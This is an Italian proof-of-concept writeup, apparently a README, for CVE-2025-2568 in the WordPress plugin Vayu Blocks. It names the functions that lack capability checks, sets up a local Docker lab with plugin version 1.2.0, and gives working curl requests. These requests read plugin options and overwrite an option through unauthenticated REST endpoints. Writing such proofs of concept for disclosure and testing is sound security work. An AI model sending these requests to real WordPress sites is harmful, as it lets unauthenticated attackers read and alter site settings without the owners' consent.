
Proof-of-concept exploit per CVE-2025-2568, che dimostra l'accesso e la modifica non autorizzati delle opzioni del plugin WordPress Vayu Blocks tramite controlli di capacità mancanti.
Il plugin Vayu Blocks – Gutenberg Blocks per WordPress e WooCommerce è vulnerabile ad accesso non autorizzato e modifica dei dati a causa della mancanza di controlli sulle capacità nelle funzioni vayu_blocks_get_toggle_switch_values_callback e vayu_blocks_save_toggle_switch_callback nelle versioni 1.0.4 fino a 1.2.1. Ciò consente ad attaccanti non autenticati di leggere le opzioni del plugin e aggiornare qualsiasi opzione con un nome di chiave che termina con _value.
cd vuln-wordpress
docker-compose up -d
cd wp-content/plugins/
unzip vayu-blocks.1.2.0.zip
Il plugin Vayu-blocks (versione 1.2.0) è ora installato.curl http://localhost:8080/wp-json/vayu-blocks/v1/get-toggle-values/
curl -X POST http://localhost:8080/wp-json/vayu-blocks/v1/save-toggle-switch \
-H "Content-Type: application/json" \
-d '{"key":"container", "value":"new_value"}'